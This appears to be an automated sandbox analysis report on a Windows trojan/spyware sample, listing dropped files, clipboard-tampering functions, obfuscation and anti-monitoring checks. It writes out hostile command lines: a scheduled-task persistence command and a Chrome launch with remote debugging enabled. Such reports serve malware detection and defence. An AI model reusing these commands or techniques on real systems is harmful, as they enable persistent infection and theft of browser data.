Source: chrome.exe, 00000003.00000002.1871400375.00005CD8028D5000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1874839594.00005CD802F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1871374750.00005CD8028C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C849C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C849C22
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C849C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C849C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C849D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C849D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C849E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 9_2_6C849E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\RGU8qibimk.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: RGU8qibimk.exe Static PE information: section name:
Source: RGU8qibimk.exe Static PE information: section name: .idata
Source: RGU8qibimk.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0033A499 9_2_0033A499
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0033A521 9_2_0033A521
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_003351B0 9_2_003351B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00333E20 9_2_00333E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C872CCE 9_2_6C872CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C83CD00 9_2_6C83CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C83EE50 9_2_6C83EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C840FC0 9_2_6C840FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C880AC0 9_2_6C880AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8444F0 9_2_6C8444F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8746E0 9_2_6C8746E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8687C0 9_2_6C8687C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8707D0 9_2_6C8707D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C872090 9_2_6C872090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C880060 9_2_6C880060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C862360 9_2_6C862360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C88DC70 9_2_6C88DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C845880 9_2_6C845880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8698F0 9_2_6C8698F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C877A20 9_2_6C877A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87DBEE 9_2_6C87DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87140E 9_2_6C87140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C881510 9_2_6C881510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87F610 9_2_6C87F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C85F760 9_2_6C85F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8470C0 9_2_6C8470C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8F50D0 9_2_6C8F50D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C833000 9_2_6C833000
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C9036E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C903B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C903560 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C905980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C903820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C8FADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C905A70 appears 77 times
One or more processes crash
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7896 -s 1224
Uses 32bit PE files
Source: RGU8qibimk.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: RGU8qibimk.exe Static PE information: Section: bqmchmux ZLIB complexity 0.9944820382645904
Source: RGU8qibimk.exe Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@24/7@16/5
Source: C:\Users\user\Desktop\RGU8qibimk.exe File created: C:\Users\user\AppData\Local\uABDlLMkuJ Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7008:120:WilError_03
Source: C:\Users\user\Desktop\RGU8qibimk.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7896
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\woUNydxtUFQatgBImlJF
Source: C:\Users\user\Desktop\RGU8qibimk.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.1871400375.00005CD8028D5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: RGU8qibimk.exe Virustotal: Detection: 59%
Source: RGU8qibimk.exe ReversingLabs: Detection: 55%
Source: unknown Process created: C:\Users\user\Desktop\RGU8qibimk.exe "C:\Users\user\Desktop\RGU8qibimk.exe"
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1992,i,8706350967883089063,667949651104255721,262144 /prefetch:8
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7896 -s 1224
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1992,i,8706350967883089063,667949651104255721,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: RGU8qibimk.exe Static file information: File size 4474880 > 1048576
Source: RGU8qibimk.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x283400
Source: RGU8qibimk.exe Static PE information: Raw size of bqmchmux is bigger than: 0x100000 < 0x1bd800
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00338230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00338230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: RGU8qibimk.exe Static PE information: real checksum: 0x4506fd should be: 0x445226
PE file contains sections with non-standard names
Source: RGU8qibimk.exe Static PE information: section name:
Source: RGU8qibimk.exe Static PE information: section name: .idata
Source: RGU8qibimk.exe Static PE information: section name:
Source: RGU8qibimk.exe Static PE information: section name: bqmchmux
Source: RGU8qibimk.exe Static PE information: section name: gywxxusp
Source: RGU8qibimk.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: ELLRGATenShKoyKeRtXA.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0033A521 push es; iretd 9_2_0033A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8E0C30 push eax; mov dword ptr [esp], edi 9_2_6C8E0DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8AED10 push eax; mov dword ptr [esp], ebx 9_2_6C8AEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C884E31 push eax; mov dword ptr [esp], ebx 9_2_6C884E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C878E7A push edx; mov dword ptr [esp], ebx 9_2_6C878E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87A947 push eax; mov dword ptr [esp], ebx 9_2_6C87A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C882AAC push edx; mov dword ptr [esp], ebx 9_2_6C882AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C898AA0 push eax; mov dword ptr [esp], ebx 9_2_6C89909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C880AA2 push eax; mov dword ptr [esp], ebx 9_2_6C880AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8AEAB0 push eax; mov dword ptr [esp], ebx 9_2_6C8AEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8B2BF0 push eax; mov dword ptr [esp], ebx 9_2_6C8B2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8B2BF0 push edx; mov dword ptr [esp], ebx 9_2_6C8B2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87048B push eax; mov dword ptr [esp], ebx 9_2_6C8704A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8704E0 push eax; mov dword ptr [esp], ebx 9_2_6C8706DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C878435 push edx; mov dword ptr [esp], ebx 9_2_6C878449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C898460 push eax; mov dword ptr [esp], ebx 9_2_6C898A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87A5A7 push eax; mov dword ptr [esp], ebx 9_2_6C87A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C851CFA push eax; mov dword ptr [esp], ebx 9_2_6C906622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C851CFA push eax; mov dword ptr [esp], ebx 9_2_6C906622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8706A6 push eax; mov dword ptr [esp], ebx 9_2_6C8706DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8706A2 push eax; mov dword ptr [esp], ebx 9_2_6C8706DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8886A1 push 890005EAh; ret 9_2_6C8886A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8C06B0 push eax; mov dword ptr [esp], ebx 9_2_6C8C0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8766F3 push edx; mov dword ptr [esp], ebx 9_2_6C876707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8706FD push eax; mov dword ptr [esp], ebx 9_2_6C8706DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8B2620 push eax; mov dword ptr [esp], ebx 9_2_6C8B2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8B2620 push edx; mov dword ptr [esp], ebx 9_2_6C8B2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87070E push eax; mov dword ptr [esp], ebx 9_2_6C8706DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C87A777 push eax; mov dword ptr [esp], ebx 9_2_6C87A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C84E0D0 push eax; mov dword ptr [esp], ebx 9_2_6C906AF6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C84E0D0 push edx; mov dword ptr [esp], edi 9_2_6C906B36
Source: RGU8qibimk.exe Static PE information: section name: bqmchmux entropy: 7.955638762124157
Drops PE files
Source: C:\Users\user\Desktop\RGU8qibimk.exe File created: C:\Users\user\AppData\Local\Temp\ELLRGATenShKoyKeRtXA.dll Jump to dropped file
Source: C:\Users\user\Desktop\RGU8qibimk.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window searched: window name: Regmonclass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
